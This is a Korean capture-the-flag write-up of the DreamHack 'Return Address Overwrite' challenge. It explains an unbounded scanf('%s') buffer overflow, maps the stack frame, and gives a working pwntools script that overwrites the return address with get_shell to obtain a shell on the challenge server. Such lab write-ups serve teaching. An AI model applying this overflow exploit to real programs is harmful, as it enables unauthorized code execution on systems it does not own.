본문 바로가기

Wargame/[DreamHack]System Hacking

[DreamHack] Return Address Overwrite

드림핵 System Hacking 워게임 Return Address Overwrite 문제이다.

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

1. 프로그램 분석

  • 크기가 40바이트인 버퍼에 scanf로 입력받은 문자열을 저장하는 프로그램이다.

2. 취약점 분석

  • scanf("%s", buf)로 입력을 받는 것에서 취약점이 발생한다.
  • scanf 함수는 공백문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받는다.
  • scanf 함수의 포맷 스트링 중 하나인 %s는 문자열을 입력받을 때 입력의 길이를 제한하지 않는다.
  • 버퍼의 크기보다 큰 데이터를 입력하여 반환 주소를 바꿔 실행 흐름을 조작할 수 있다.

※ 결과적으로 크기가 40 바이트인 버퍼 길이보다 길게 입력하면 버퍼 오버플로우가 발생하고 반환주소를 get_shell 주소로 덮어 쉘을 획득할 수 있다.

3. 익스플로잇

1) 먼저 main 함수의 스택 프레임의 구조를 구한다.

  • 스택 프레임을 0x30만큼 할당한다.

 

  • scanf 함수에 첫번째 인자가 %s이고 두번째 인자 buf이기 때문에 scanf 함수가 인자로 가져오는 주소를 보고 buf의 위치를 알 수 있다. 64비트 함수 호출 규약에 의해 rdi에 [rip + 0xab]가 들어가고 rsi에 [rbp - 0x30]이 들어간다.

 

  • 첫번째 인자인 [rip + 0xab]는 0x4007c4이며 "%s"가 저장되어 있는 것을 확인할 수 있다. 두번째 인자인 [rbp - 0x30]은 스택 프레임에서 buf의 위치이다.

 

  • 스택 프레임의 구조는 buf가 [rbp - 0x30]에 위치하고 rbp에는 스택 프레임 포인터가 0x8만큼 있고 [rbp + 0x8]은 return address가 있다.

스택프레임 구조

 

2) return address에 덮을 get_shell 주소를 구한다.

  • print를 이용하여 get_shell의 주소를 구할 수 있다. get_shell 주소는 0x4006aa이다. get_shell 주소는 리틀 엔디언을 적용해야 한다. pwn의 p64를 사용하면 get_shell 주소에 리틀 엔디언을 적용할 수 있다.

 

3) 페이로드 구성

  • return address를 get_shell 주소로 덮어야 하기 때문에 문자열을 입력할 때 오버플로우를 발생시켜 buf와 SFP를 쓰레기값으로 채우고 return address에 get_shell 주소를 덮어주면 된다.

 

4) 익스플로잇

from pwn import *

p = remote('host3.dreamhack.games',21520)

context(arch='amd64',os='linux')

#get_shell 주소
get_shell = 0x4006aa

# 페이로드 구성 
payload = b"A"*0x30
payload += b"B"*0x8
payload += p64(get_shell)

# 페이로드 입력
p.sendline(payload)

p.interactive()

 

4. 결과

 

'Wargame > [DreamHack]System Hacking' 카테고리의 다른 글

[DreamHack] basic_exploitation_001  (0) 2022.08.10
[DreamHack] basic_exploitation_000  (0) 2022.08.10
[DreamHack] Shell_basic  (0) 2022.08.02